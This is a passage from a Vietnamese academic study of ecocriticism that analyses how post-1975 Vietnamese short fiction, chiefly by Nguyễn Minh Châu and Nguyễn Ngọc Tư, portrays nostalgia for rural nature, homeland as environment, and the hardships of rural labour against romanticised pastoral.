cuối năm, Đỗ Chu) than thở về một không gian im lìm, ngột ngạt vì không có tiếng
135
hót véo von của chim và nhớ lại: “Thuở chị em chúng tôi đang còn con gái, đi một
bước chim chóc nhảy theo một bước, chỉ lo vô ý dẫm phải chúng thì phải tội. Mùa
gặt tháng mười là chim ngói, bồ nông. Mùa nước nổi là kền kền, mồng két, kịp đến
lúc cày vỡ là khắp đồng ríu rít sáo đen, sáo sậu, những chú sáo mỏ vàng dưới làn
cánh có chấm trắng, chúng đậu trên lưng những con trâu lững thững gặm cỏ”.
Chuyến đi cuối năm của Lăng còn là một chuyến rời bỏ thành phố với rất nhiều nỗi
nhức nhối, để hoài niệm về một không gian đầy ắp tự nhiên qua câu chuyện của
bác Kiên về đàn chim Sít huyền thoại.
Tuổi thơ im lặng của Duy Khán là niềm hoài cảm về những giá trị của tự
nhiên thâm u trong những nếp nhà xưa, trong những ngôi làng, những phong tục
tập quán cổ truyền đẹp đẽ. Thung Lam (Hồ Thị Ngọc Hoài) viết về nỗi day dứt của
cô gái dưới mái nhà xưa, khi đối diện với mưu sinh, người anh trai bán căn nhà ở
quê để xây thêm một tầng, có chỗ thờ cúng cho cha mẹ. Cô về nhà, nằm cảm nghe
cái không gian xưa cũ của gia đình trong căn nhà xưa.
Đôi khi, sống ở thành phố, xa rời những sinh hoạt nông thôn, những sinh
hoạt giúp con người gần gũi tự nhiên, người ta nhớ về làng quê như hoài nhớ về
một không gian thanh b nh yên ả chan hòa với thiên nhiên: “Một làng quê Việt điển
hình. Nơi có đồng ruộng làm ra hạt lúa. Có lũy tre xanh. Nơi trầm tích một nếp
sống văn hóa cổ xưa. Nơi có nhiều đình chùa miếu mạo, sầm uất một đời sống tâm
linh” (Bà cụ Cần và đàn chim sẻ, Ma Văn Kháng). Bà cụ Cần nhớ những công việc
gắn bó với đất, với lúa, với những gì gần gụi tự nhiên, bà làm công việc giần sàng
như một nghi lễ hoài niệm :”bà cụ Cần đi chợ mua một cái giần, một cái sàng và
một cái mẹt về. Từng nắm gạo được bốc ra. Việc sàng sảy bắt đầu. Nắm gạo xoay
tròn trên cái giần cái sàng rồi tiếp đó nẩy rào rào trên cái mẹt. Để rồi cuối cùng, các
hạt thóc lép, các vẩy trấu cùng bụi cám và các hạt tấm li ti lần lượt dồn hết ra bờ
rìa; và sau một cái hất tay nhẹ nhàng của bà cụ, đồng loạt rơi xuống và phủ lên
khoảng sân một lớp bụi ưng ửng sắc vàng”. Nguyễn Minh Châu (Sống mãi với cây
xanh) ai hoài với những thói quen sinh thái: những gói xôi được gói bằng lá bàng,
lá sen sạch sẽ; những mảnh lá rụng được gom thành củi đốt; có cô bé cứ mỗi đêm
giao thừa lại lén bỏ vào thùng thư một chiếc lá.
Chợ khói (Sông, Nguyễn Ngọc Tư) hoài niệm về những cảm giác xưa cũ của
một thời quá vãng quyện trong khói. Chợ khói trở thành nỗi nhung nhớ khôn nguôi
về những ngọn lửa ấm áp đầy màu sắc. Có người đòi đốt đúng rạ tháng tư để
136
“trong rạ có mùi bọt cua đồng quánh đặc trước lúc con vật chết khô vì hạn”. Người
đàn bà bày ra chợ khói là người mới đầu khi rong ruổi trong thành phố bán khoai,
bắp nướng, bà thường “nướng bắp để nguyên vỏ, lẫn trong đó là trứng nhện hay
những con sâu, chúng làm nên những thứ hương vị khác thường” và người ta
thường sà vào gánh “để hít thở lại mùi vị đồng bãi cũ”. Ngày nay, người thành phố
đun nấu trong những vật dụng công nghệ: nồi cơm điện, bếp ga, bếp từ… nên mùi
khói đánh thức những hoài niệm ngủ kĩ trong mỗi người về tuổi thơ, về hương
đồng nội, về nếp nhà tranh xưa cũ… Cái quá khứ vẫn còn đó, lại như là thước đo
niềm sâu sắc của tâm hồn. Người Pháp đã từng nói: “Linh hồn, chính là quá khứ”,
vì lẽ đó.
1.3 Nhận thức về quê hương như là môi trường sinh thái
“Phê bình sinh thái chú { đến vấn đề nơi chốn cho thấy nó đã nhìn nhận sự
kết nối, tương giao giữa đời sống lịch sử con người và môi trường vật lí mà trong
đó các tác phẩm hư cấu chứng nghiệm”, cho rằng “tư duy sinh thái nhìn chung hòa
hợp với những nhà địa lí nhân văn, những người xem cảnh quan nơi chốn như là
một sự hợp nhất của bổn phận cá nhân, cấu thành xă hội và ma trận địa văn,
nhưng trên thực tế có hơi khác biệt vì nó tương đối nhấn mạnh vào sự gắn-bó-nơichốn ở mức độ trải nghiệm cá nhân mang tính tưởng tượng”1
. Chủ nghĩa vùng sinh
học hướng tới “nhận thức sự phụ thuộc lẫn nhau giữa một hệ sinh thái riêng biệt
của một cá nhân và thế giới rộng lớn hơn”2
. Những giá trị văn hóa sinh thái mang
bản sắc của dân tộc – địa phương, phù hợp với các điều kiện tự nhiên ở vùng đó.
Những ứng xử của con người với tự nhiên trở thành phong tục tập quán thói quen
điều khiển hành vi của con người (cộng đồng) trong quan hệ với tự nhiên. Nguyễn
Xuân Kính cho rằng trên thế giới đã xuất hiện một khoa học, gọi là “phong thủy
học”, hay “hoàn cảnh địa lí học”. Môn khoa học này chuyên nghiên cứu ảnh hưởng
của hoàn cảnh địa lí đến tâm lí, sinh lí và xã hội kinh tế của con người
3
. Điều này
cũng được nhà văn Nguyễn Quang Thiều trả lời phỏng vấn Phan Hoàng, tạp chí
Đương thời, tháng 2/ 2011: “Mỗi người đều có một liên hệ vừa mơ hồ, vừa bí ẩn,
vừa thiêng liêng và vừa quyền uy với nơi chôn rau cắt rốn của mình… Tất cả những
thứ đó đã dựng nên một không gian sống động và huyền ảo mà chúng ta không

1
Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học.
2
Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học.
3 Nguyễn Xuân Kính (2003), Con người, môi trường và văn hoá, NXB Khoa học xã hội, Hà Nội, tr 28.
137
thể lớn lên nếu như không có một không gian như thế”.
Ở điểm này, có lẽ phê bình sinh thái đã ảnh hưởng và gặp gỡ với tư tưởng
của Hyppolyte Taine khi cho rằng tính cách con người là sản phẩm của “chủng tộc,
môi trường, khoảnh khắc”. Ông nghiên cứu kĩ tác động của đặc điểm môi trường
vật lí, cụ thể là những đặc điểm về địa lí và khí hậu tới văn hóa nghệ thuật của các
dân tộc
1
. Phê bình sinh thái ở giai đoạn thứ hai (theo cách phân kì của Chellry
Glotfelty) cũng đã đi tìm những ảnh hưởng của những nơi nhà văn đã từng sinh
sống để lí giải tác phẩm của họ và rút ra những kết luận tương đồng giữa thế giới
nhà văn mô tả và nơi nhà văn sinh ra và lớn lên. Tương tự, chúng ta có thể bắt gặp
mảnh đất khô cằn của xứ Nghệ ở sáng tác của Nguyễn Minh Châu; không gian vùng
cao với cái rét dài của đá của gió trong truyện ngắn Đỗ Bích Thúy. Trang viết của
Nguyễn Ngọc Tư có lẽ cất lên từ những ám ảnh của một không gian lồng lộng gió,
mênh mang sông, miên man nắng… Ở những vùng đất khác nhau, những điều kiện
tự nhiên khác nhau quy định đến tâm lí của con người vùng đó. Đến lượt mình,
nhà văn lại mô tả ảnh hưởng của môi trường tự nhiên đến tâm hồn, tính cách, số
phận của các nhân vật.
Thiên nhiên là vùng tâm tưởng của mỗi người. Thế giới thiên nhiên chính là
hiện thân của vẻ đẹp quê hương. Niềm yêu quý mảnh đất, nơi ông bà, bố mẹ và cả
mình sinh ra, chính là dấu hiệu đầu tiên của của tình yêu quê hương xứ sở. Con người
gắn bó với đất đai không chỉ vì nó đem lại những tiện ích vật chất, mà còn là nơi gìn
giữ những giá trị trong đời sống tinh thần. Điều này được Nguyễn Minh Châu khái
quát trong tác phẩm Sống mãi với cây xanh : “Hãy áp tai vào tầng nhựa đường sẽ
được nghe tiếng vỗ rào rạt của sóng nước của một dòng sông đã chết, giấu trong lòng
những cán giáo gẫy, những mũi tên đồng, những hoa văn trên men. Những giọt mồ
hôi trên áo vải và giọt máu trên chiến bào; và bên dưới cùng của tất cả là hàng vạn
cánh rừng lim, sến, táu và tre vầu đã chết, nhường mặt đất cho con người ở”. Cái tầng
đất văn hóa ấy của con người được mặt đất lưu giữ dưới gốc cây sấu già : “Nhìn vào
khoảng đất rỗng trùng sâu xuống quanh cây sấu và đống đào lên, người ta bất giác
giật mình được tận mắt chứng kiến cái tầng đất văn hóa của con người- nó cũng
chẳng lấy gì làm dày lắm”. Mỗi trang văn Nguyễn Minh Châu là một lời nhắc nhở hết
sức thấm thía với con người về chiều sâu văn hóa, lịch sử của đất đai mà bình thường

1
Phương Lựu (2001), Lí luận văn học phê bình văn học phương Tây thế kỉ XX, NXB Văn học, Hà Nội, tr 54.
138
nhiều khi chúng ta đã lãng quên.
Dựa vào mối quan hệ với thiên nhiên, con người phát hiện ra chỗ đứng của
mình trên thế gian. Các nhân vật trong Nhớ sông, Dòng nhớ (Nguyễn Ngọc Tư) quá
thân quen với cuộc sống sông nước. Con sông, chiếc ghe trở thành con đường, mái
nhà của họ. Cho nên khi tách họ ra khỏi cuộc sống sông nước đó, họ cảm thấy
mình trở nên bơ vơ, lạc lõng giữa cuộc đời. Giang (Nhớ sông) rời sông lên bờ lấy
chồng nhưng vẫn không thể quên sông nước, mỗi lần nhớ sông lại chèo ghe ra đi
cho đỡ nhớ : “Thường thì cơm nước, quét dọn xong hễ hở ra giờ nào Giang lấy
xuồng chèo đi giờ ấy… chèo đã đời rồi nó buông chèo lụi vô đám lá, lấy tay vịn,
ngồi ở đó. Rồi chèo về”. Con người là một phần của thiên nhiên nên khi tách con
người ra khỏi tự nhiên, con người mất chỗ đứng, trở thành chơ vơ. Bác Thông
(Sống mãi với cây xanh, Nguyễn Minh Châu) coi cây xanh là người bạn tri kỉ, là nơi
duy nhất kí thác tâm sự của mình. Nếu thiếu cây xanh, cuộc sống của bác là vô
nghĩa. Tách bác ra khỏi thiên nhiên cũng giống như tách một con người ra khỏi
cộng đồng, khỏi nhân loại. Chỉ ở bên thiên nhiên bác mới được sống một cuộc
sống thực sự là mình.
Thiên nhiên nuôi dưỡng những kỉ niệm êm đềm của mỗi tâm hồn. Khi trở
về quê, một nhân vật tha hương như Huân (Sống mãi với cây xanh, Nguyễn Minh
Châu) thốt lên “Bà ơi trên trái đất này chẳng biết có ai từng vất vả khó nhọc như
bà, hãy cho cháu trở về ngồi trong lòng bà, giữa đất cát, đói nghèo và cây cỏ, để ăn
một quả sấu chua chát đến nỗi nhăn nhíu cả mặt mũi và nhìn ra ngoài mặt nước
sông Hồng vào đầu mùa hè này đã cạn trơ ra những cồn bãi, gió nam thổi cát bay
như quất roi vào mặt người đàn bà xúc cát”. Đó còn là cảm giác đầy chất thơ của
Quy (Mảnh đất tình yêu, Nguyễn Minh Châu) về một ngọn gió tự nhiên vĩnh cửu
“Sáng nay tôi ra vườn sao nhiều gió? Hẳn những ngọn gió này đã từng thổi qua
mặt bà tôi thổi vào cuộc đời đau khổ và cô độc của bà tôi? Tôi lắng nghe tiếng lá
reo quanh ào ào. Tôi nhìn lên vòm lá, muốn hỏi từng cái cây trong vườn – loài thảo
mộc từng sống cùng thời với bà tôi – những cây nào đã từng đổ bóng xuống cái
dáng đi đứng một mình trong vườn của bà tôi, đã từng để rơi lá xanh, lá vàng
xuống vai bà tôi”. Thiên nhiên trường tồn, vĩnh cửu so với đời sống ngắn ngủi của
con người. Nó không đơn thuần là không gian tồn tại, mà còn là kỉ niệm, là tâm
hồn, nếu tách ra khỏi đó, con người không còn là mình nữa.
Nỗi nhớ quê hương nguồn cội, nỗi nhớ về những người thân yêu bao giờ
139
cũng gắn liền với thiên nhiên. Trong văn của Nguyễn Ngọc Tư, thiên nhiên gợi
nhắc cội nguồn, làm sống dậy tình cảm tha hương khắc khoải: “lắng nghe tiếng bìm
bịp buồn buồn trong ánh nắng chiều, Phi nhớ cái triền dừa nước xanh miết ở trước
nhà ngoại mình, nhớ đứt ruột” (Biển người mênh mông). Đối với chị em Nương
Điền, những cánh đồng đã qua chưa bao giờ là vô danh: “Chúng tôi gọi tên bằng
những kỉ niệm mà chúng tôi có trên những cánh đồng” (Cánh đồng bất tận), cả nỗi
nhớ xa xôi về mẹ, về mái nhà êm ấm trước kia cũng mang cảm giác của thiên nhiên
“Sao gió ở đây giống hệt gió nhà mình”, cả mơ ước nhỏ nhoi, mong manh cũng gắn
kết với đất đai, cây trái :“Nỗi nhớ bao gồm được chạy chơi trên cái vuông sân mọc
đầy vú sữa đất, được tự mình trồng cây gì đó, có trái, và trái ăn được, ăn rất
ngon”. Cũng vậy, dòng sông gắn với hình ảnh bất hạnh của những người thân yêu
nên dù nghèo khổ, vất vả, lênh đênh, các nhân vật không nỡ rời bỏ. Giang (Nhớ
sông) mãi mãi không thể quên được khúc sông nơi người mẹ chết đuối. Cho dù đã
lên bờ để sống, cô vẫn không nguôi ngoai được sợi dây đã gắn kết sông nước bất
diệt với ba cha con, với người sống và người chết: “Sau nầy, khi vợ chết, không
hoàn toàn vì miếng ăn mà cả nhà ông Chín trôi dạt hết dòng sông này đến con kinh
kia. Ở đáy con sông nào đó, còn là nơi gởi gắm xương thịt của người đàn bà xấu số
– má Giang”. Người vợ trước của ba (Dòng nhớ) nguyện chọn kiếp sống lênh đênh
trên sông vì đứa con vừa biết bò rơi xuống đó – “mẹ sẽ sống trên sông hoài, hoài
hoài với con”. Có lẽ, chỉ sông nước mênh mang là cứu rỗi được nỗi đau của người
mẹ mất con. Ngay cả ba, dù phũ phàng bỏ lại vợ cùng nỗi mất mát khủng khiếp
cũng chưa một phút thôi nhớ cái khúc sông đau đớn của cuộc đời mình: “Tựa như
ông đang ở đây nhưng tâm hồn ông, trái tim ông, tấm lòng ông chảy tan vào dòng
nước tự lâu rồi”. Có những nỗi đau không cất được thành lời mà chỉ có thiên nhiên
câm lặng chứng kiến mới có thể sẻ chia. Xuyến (Duyên phận so le) từ chối tình cảm
của các chàng trai đến với cô, nguyện ở mãi mũi So Le, vì tình yêu duy nhất cô đã
dành cho bé Bi, đứa con cô lén để ở gốc cây điệp nhà vợ chồng ông giám đốc hiếm
muộn. Lúc đau khổ quá, “những khuya, ngủ không được, Xuyến lọ mọ lại khoảng
sân đầy lá trước nhà Bi, rờ rẫm chỗ đất cạnh gốc điệp già”, cái cây duy nhất chứng
kiến việc cô đã bỏ lại đứa con, vì nghèo khó, vì đơn độc, vì bị phụ tình, không thể
nuôi con lớn đủ đầy. Những nỗi ngổn ngang, rối bời, đứt ruột âm thầm của người
mẹ chỉ cây điệp già thấu biết. Thiên nhiên làm sống dậy kí ức về người thân, giúp
nguôi dần những vết thương mãi còn rỉ máu.
Văn học sinh thái Việt Nam sau năm 1975 cũng có ngưỡng dừng của nó:
dừng lại ở sự lí tưởng hóa, lãng mạn hóa tự nhiên. Ðiều này, theo chúng tôi, có hạt
140
nhân lịch sử xã hội của nó. Cảm quan lãng mạn không nằm ở việc lựa chọn đề tài mà
trong cách thức cảm nhận. Chủ nghĩa lãng mạn phương Tây khởi đầu từ cuộc cách
mạng công nghiệp (1780 – 1850), làm phong tục thay đổi, tăng nhịp điệu cuộc sống.
Nghệ sĩ phẫn nộ chống lại cái xã hội mới, máy móc, lặp đi lặp lại ấy. Văn học lãng
mạn Việt Nam giai đoạn 1930 – 1945 hình thành từ ảnh hưởng của luồng gió Tây
phương. Bối cảnh nông nghiệp nhàn nhã ngàn đời cũng đổi thay. Văn học lãng mạn
giai đoạn này khởi phát và có nhiều thành tựu đáng kể. Tuy nhiên, nhát cắt chiến
tranh (1945 – 1975) khiến nó dừng lại một quãng. Sau 1986, xã hội đi vào quỹ đạo
phát triển kinh tế, bắt đầu tăng tốc công nghiệp hóa, hiện đại hóa, điều đó kéo theo
sự đổi thay của nhịp điệu cuộc sống, phong tục, xã hội. Trước những biến đổi ấy,
nghệ sĩ ưu tư phản kháng trước tình trạng thương mại hóa ngày càng cao, phản ứng
lại với những ô hợp đô thị, trở về níu giữ vẻ đẹp xưa, những truyền thống, những kí
ức có nguy cơ bị mai một trong vòng quay thị thành. Cảm quan lãng mạn sau 1975 là
thái độ cảm thông và niềm tin vào tự nhiên mà chúng ta cần trân trọng.
1.4 Văn học đồng quê về những người nghèo khổ
Tuy nhiên, có nhánh nhỏ của văn học mà những đề xuất thực sự chạm đến
nhiều vấn đề của văn học sinh thái đương đại. Nhiều tác phẩm từ bỏ cách nhìn
mang tính “thẩm mĩ hóa” thôn dã để “bước vào lao động” (“into the labour”), do
đó nó quan tâm đến những diễn ngôn miêu tả không gian như là nơi con người cư
trú, làm việc chứ không phải là không gian ngắm nghía, thưởng ngoạn, “có thể giúp
chúng ta vượt ra bên ngoài lối viết thôn dã, bước ra khỏi những cảnh quan để giải
trí nghỉ dưỡng để đến với địa hạt gồ ghề của lao động thực tế”
1
. Như là một sự đối
lập lại với “pastoral” (văn học đồng quê), “georgic” (thơ ca/ văn học nông thôn) là
văn học về sự thật đầy nhọc nhằn, cực khổ của cuộc sống lao động nông nghiệp
như cách nói của Buell “văn học đồng quê của những người nghèo khổ” (idigene
pastoral).
Garrard chỉ ra rằng, dưới cái nhìn của các nhà phê bình sinh thái, văn học
đồng quê là “những mô tả cố tình lảng tránh hay đầy hư ngụy về đời sống nông
thôn”2
. Mekeer coi văn học đồng quê là “một trong những gì phải gánh chịu áp lực

1 Garrard G. (2004), Ecocriticism (The New Critical Idiom), Massachusetts, Routledge, p 135.
2 Garrard G. (2004), Ecocriticism (The New Critical Idiom), Massachusetts, Routledge, p 38.
141
rất lớn của tội lỗi”1
vì sự thoát li thực tế, tô vẽ một tự nhiên lí tưởng hóa không
thực tế. Quả vậy, khi viết về những người nông dân và không gian thôn dã, người
ta thường thẩm mĩ hóa, mĩ lệ hóa nó bằng những hình ảnh làng quê thanh bình
nhàn tản (Chùa xưa ở lẫn cùng cây đá/ Sư cụ nằm chung với khói mây, Nguyễn
Khuyến) như trong văn học trung đại phương Đông hoặc khoác lên đó vẻ đẹp lãng
mạn của những chàng mục đồng (Những vì sao, A.Daudet), cũng như cái u trầm,
lặng lẽ, thanh bình của những cỗ xe tam mã, những cánh rừng bạch dương… trong
thơ của Puskin, của Exênhin. Trong văn học điền viên, văn học lãng mạn, khi miêu
tả một làng quê thanh bình yên ả, người ta đã bỏ qua người nông dân và những
lao động nhọc nhằn chốn thôn quê. Văn học lãng mạn Việt Nam ca ngợi cái chân
quê dân dã hồn nhiên (Hoa chanh nở giữa vườn chanh, Thầy u mình với chúng
mình chân quê- Nguyễn Bính) với cảnh lao động, sinh hoạt chẳng chút vất vả, nặng
nề (Em dừng thoi lại giữa tay xinh – Nguyễn Bính; Trên cầu ao đĩ con ngồi xát gạo/
Mắt ngây nhìn rau muống nở hoa tươi; Cổng xóm sau đêm mở gió đồng/ Tiếng xa
chim gáy vẳng bên sông/ Người làng nhộn nhịp ra đồng sớm/ Tiếng nói cười trong
ánh nắng hồng – Đoàn Văn Cừ). Những trang viết của Tự lực văn đoàn mô tả làng
quê như chốn yên bình cách biệt cái ồn ào đô thị (Dưới bóng hoàng lan, Thạch
Lam), là chất thơ miêu tả vẻ đẹp sự hòa quyện của con người và thiên nhiên (Đôi
bạn, Nhất Linh).
Có một thời, chúng ta nghiêng về các biện pháp nhằm chiến thắng thiên nhiên
với những khẩu hiệu như: “Vắt đất ra nước thay trời làm mưa”, “Nghiêng đồng đổ
nước ra sông” mà không nhận ra được sức mạnh không dễ khuất phục của tự nhiên, để
có cái nhìn công bằng hơn: “đất đai và cây trái, trong khi con người làm ra nó, thì chính
nó cũng làm ra con người” (Phiên chợ Giát, Nguyễn Minh Châu). Đây cũng là cái nhìn
của những nhà phê bình sinh thái khi khước từ cách nhìn lãng mạn hóa về nông thôn và
người nông dân. Sau năm 1975, nhiều sáng tác của Nguyễn Minh Châu quan tâm đến
số phận của người nông dân khi phải chiến đấu với tự nhiên miền Trung – vùng đất vô
cùng khắc nghiệt, vậy nên không khó để lấy những ví dụ về những nhọc nhằn mưu sinh
của họ. Mảnh đất tình yêu làm hiện lên nhiều cuộc đời với những số phận lắm truân
chuyên của mấy thế hệ tiếp nối nhau trên một vùng đất ở cửa lạch đổ ra biển – nơi mà

1
Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị
Thái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội
142
cứ vài ba chục năm “trời đất lại vẽ lại bản đồ một lần”. Lão Khúng trở thành “một con
bọ hung từ dưới lỗ chui lên vừa đen, vừa gầy, vừa xấu”, mụ Huệ từ một cô gái thành
phố xinh xắn thành “một người đàn bà nông dân với cái tính chắt bóp, tham công tiếc
việc, tham của và thậm chí đôi khi còn lắm điều nữa” (Phiên chợ Giát). Trong truyện
ngắn Chiếc thuyền ngoài xa, căn nguyên của số phận thê thảm của một gia đình làng
chài là do cuộc sống quá cực khổ. Điều kiện sống thiếu thốn đã biến người chồng từ
một chàng trai hiền lành thành một người vũ phu, tàn nhẫn – cái áp lực đầy trách nhiệm
“chèo chống phong ba” quả thật rất nhọc nhằn. Nhưng những trang viết ấy lại được soi
rọi bởi một ánh sáng nhân văn khác, Nguyễn Minh Châu viết về số phận những con
người bằng một tình yêu cảm thông đầy sâu sắc. Tác giả từ bỏ cái nhìn chủ quan, giản
đơn, duy { chí về khả năng chiến thắng tự nhiên của con người trước đây, để nhận ra
sức tàn phá thật ghê gớm của tự nhiên, trong khi sự chống trả lại của con người là hữu
hạn.
Đặt người nông dân trong lao động, Nguyễn Minh Châu thường chú tâm
khắc họa hai bàn tay. Bàn tay trở thành biểu tượng của sự vật lộn giữa con người
với đất đai. Nhìn vào bàn tay, có thể biết được người nông dân đã vất vả như thế
nào. Công việc đã biến “hai bàn tay con gái thành phố – bây giờ đã đen đúa và sứt
sẹo” của mụ Huệ. Nghiên, đứa con gái lên chín của lão Khúng chăm làm nhất nhà :
“Hai bàn tay lúc nào cũng sây sát máu vì công việc cắt cỏ cho bò ăn để đi cày”. Cả
ông của Quy và lão Bờ trong Mảnh đất tình yêu : “cuộc đời đã bị trời cướp mất hết,
chỉ còn lại cái tình yêu cuộc sống và hai bàn tay không ngừng làm lụng”.
Một trong những cách các nhà phê bình sinh thái muốn nhận thức về đời sống
lao động là đặt song chiếu hai điểm nhìn. Cái nhìn này dựa trên sự phân chia giữa cái
nhìn bên trong (insider) và cái nhìn bên ngoài (outsider) đối với một môi trường sống.
Đây là hai cái nhìn đối lập về vấn đề sinh thái, cái nhìn của người trong cuộc và cái
nhìn của kẻ đứng ngoài, từ đó nảy sinh ra những cái nhìn đối lập du lịch/bản địa
(ngắm cảnh/ lao động), người thành phố/ người nông thôn… Từ đó, bóc trần cho
chúng ta thấy về những bất công xã hội, khi mà những người đứng ngoài không hiểu
và không thể hiểu được những khó khăn, vất vả của người lao động trong cuộc đối
mặt với đất đai, biển cả, rừng rú, sông hồ. Từ những điểm nhìn đối lập này, dễ nhận
thấy sự chồng chéo của những bất công sinh thái và bất công xã hội.
Song chiếu hai điểm nhìn trước hết biểu hiện ở cái nhìn ngắm cảnh, thưởng
ngoạn của khách du lịch và cái nhìn của người dân bản địa. Sầu trên đỉnh Puvan
143
của Nguyễn Ngọc Tư đối lập trong cái nhìn về cảnh quan đã cho thấy những bất
công xã hội. Vĩnh đam mê với vẻ đẹp lạ lùng: “Vĩnh thì như phát điên, như đang
mộng du khi những vòm lá chết của những cây sầu bỗng phát sáng”. Trong khi đó,
cái nhìn của Củi, thằng bé chăn dê dưới chân núi về hoa sầu đông là cái nhìn của
người dân bản địa sinh sống nhọc nhằn trên mảnh đất khô cằn : “Đồ quỉ – cây đó
xài không được, dê còn chê, hổng biết mọc làm chi mà vô duyên vô dùng. Má tui
nói cây sầu sống bằng xương dê, xương trâu bò, năm nào bầy dê nhà tui chết nhiều
sầu mới trổ bông…”; “Trong mắt nó bông sầu còn tệ hơn bông bí vì bông bí ăn
được”. Đặt niềm say mê hoa sầu một cách mộng mị của Vĩnh bên cạnh sự nếm trải
cay cực của Củi và của những người dân sống trong hạn hán, Nguyễn Ngọc Tư cho
thấy người thành phố không hiểu nỗi khổ của người nông dân : “Dịu đọc được sự
căm ghét những kẻ vì bông sầu mà đã cầu mong cơn nắng thật dài, không cần biết
nơi này những bầy dê chết cong queo trên đồng cỏ cháy” .
Cơn mưa đến mang lại niềm vui cho tất thảy mọi người, Vĩnh được thỏa
nguyện mong ước ngắm hoa sầu đông huyền thoại, Củi và những người nông dân
vùng núi Puvan thoát khỏi hạn hán. Nhưng cách cảm nhận niềm vui của thiên
nhiên ân thưởng cũng hoàn toàn khác nhau. Thái độ sung sướng của Củi trước cơn
mưa là một thái độ san sẻ : “Củi sướng như sắp ngất đi, nó lôi cái đầu lâu con dê
tên Chương ra nói như khóc, tắm mưa nè mầy, tao đã biểu mầy ráng chờ, thể nào
cũng được tắm mưa, mầy không nghe, mầy chết” và nó cũng không thèm món tiền
công mà hai người khách hứa trả, vì “dường như có mưa là có khoai ăn có cơm ăn,
nó cũng không cần tiền của những người xa lạ nữa”; và trở về ngôi nhà của mình,
chia niềm vui với người có thể hiểu thấu được niềm hạnh phúc của nó “thằng Củi
quay tròn dưới làn mưa, nó muốn xuống núi để cho má nó hay, mưa rồi, mưa thiệt
rồi” và chia sẻ công việc với má “Thôi, tui về, để má tui dầm mình hứng nước mưa
tội bả”. Niềm hạnh phúc sinh thái mà thiên nhiên ban tặng cho Củi là niềm hạnh
phúc của sự sinh sôi. Chỉ có người lao động sống cùng tự nhiên, nương tựa vào đó
mới cảm nhận được hạnh phúc sinh sôi ấy. Còn với Vĩnh – chàng trai thành phố, coi
thiên nhiên nhiên là đối tượng để thưởng ngoạn, khi không còn gì để khám phá
nữa Vĩnh cảm thấy đời sống thật nhạt nhẽo, “Anh thấy sợ hãi ngày mai trống rỗng
kia. Hoang mang. Ngơ ngác. Rã rời. Vụn nát”. Đó là cảm giác về nỗi cô độc. Thiên
nhiên nhắc nhớ cho Vĩnh về nỗi cô đơn, sự vô nghĩa của kiếp người. Trong mắt
Vĩnh, hoa biểu tượng cho sự hủy diệt “bông sầu đã rụng tả tơi, những bông sầu
144
bầm lại như máu khô. Và Vĩnh treo mình lửng lơ trên cành sầu khẳng khiu, trơ
trụi… Đỉnh núi mờ sương xào xạc gió, như đang day diết lại lời nguyền…. những cây
sầu giết người”. Con người thời hiện đại không còn tìm lại được cái bình yên giữa
thiên nhiên, họ ngắm thiên nhiên không phải để thấy cái an nhiên tĩnh tại trong
lòng mà để thấm thía niềm cô độc giữa cơi đời mênh mông này.
Một trong những tài năng của Nguyễn Minh Châu cần kể đến là việc ông
đặt hai điểm nhìn trái ngược bên ngoài – bên trong để soi chiếu. Truyện ngắn
Chiếc thuyền ngoài xa là đã đưa lại cho chúng ta một mệnh đề tương phản về
nghệ thuật và cuộc sống. Bằng cái nhìn đầy tính phản biện, Nguyễn Minh Châu
muốn nhắc nhở về một cái nhìn có phần lí tưởng hóa về tự nhiên. Bức ảnh của
Phùng và cuộc sống mưu sinh đầy vất vả của những người dân bản địa là một
nghịch lí. Đằng sau bức ảnh biển thơ mộng “hài hòa và đẹp, một vẻ đẹp thực
đơn giản và toàn bích”, ai biết rằng có lúc biển giận dữ, “Gần sáng trời trở gió
đột ngột, từng tảng mây đen xếp ngổn ngang trên mặt biển đen ngòm, và biển
bắt đầu gào thét, sóng bạc đầu ngoài cửa lạch nổi cồn lên cao như những ngọn
núi tuyết trắng”. Biển cả dữ dội đã kìm hãm việc làm ăn, sinh sống của người
dân vùng biển. Chỉ bằng một chi tiết nhỏ về khúc củi trên bếp là “mấy cái đầu
mẩu gỗ cưa ra từ các lẻ ván của một chiếc thuyền mới vớt lên được, sau vụ đắm
thuyền trong vụ bắc năm ngoái”, tác giả đã giúp hình dung ra cuồng nộ của biển
cả. Đó là nghịch lí mà Nguyễn Minh Châu muốn bóc trần: bày tỏ tình yêu với
thiên nhiên tuyệt đẹp, mô tả cái mĩ lệ của thiên nhiên nhưng lại quên mất cái
không gian hiện thực, thiên nhiên dù đẹp nó vẫn chứa nhiều bất trắc mà con
người phải đối mặt. Đứng trước thiên nhiên ấy, Phùng là kẻ ngoài cuộc, kẻ đi
chiêm ngắm, thưởng ngoạn còn gia đình làng chài kia phải đối mặt với biển khơi
khắc nghiệt để kiếm sống.
Nghệ thuật chỉ có thể có được trong một quá trình cảm biết, thấu suốt
không phải bằng con mắt của kẻ đứng ngoài mà bằng cảm thông của người trong
cuộc. Và hẳn là cảm nhận được có điều gì bất ổn nên bằng một sự nhạy cảm của
người nghệ sĩ, Phùng đã bỏ ngay cái bức ảnh mà hai ngày đầu anh đã chụp, một
bức ảnh mang tính sắp đặt “cảnh đẩy thuyền đầy không khí vui nhộn hơi thô lỗ và
thật hùng tráng”. Chi tiết này như một ẩn dụ: khi người nghệ sĩ chỉ đứng ngoài lề
của cuộc sống, họ không bao giờ có thể chạm được vào bản chất thực của con
người và thiên nhiên. Điều ám ảnh Phùng, một nhiếp ảnh gia không phải là hình
ảnh mà lại là âm thanh “những tiếng động đầy vẻ náo nhiệt ở cách xa hàng cây số
145
cũng nghe tiếng của một nhóm thuyền đánh cá đêm bằng vó bè”. Âm thanh náo
động thực sự của lao động đã xui khiến anh tìm một bức ảnh “cảnh thuyền đánh
cá thu lưới vào lúc nhập nhoạng sáng”, cho dù đó là một cảnh thực sự mạo hiểm
trong nghề cầm máy “một cảnh chết cháy – một đề tài đã có quá nhiều người khai
thác” nhưng, bằng trực giác, Phùng hiểu rằng chỉ có trong lao động thật sự, chỉ có
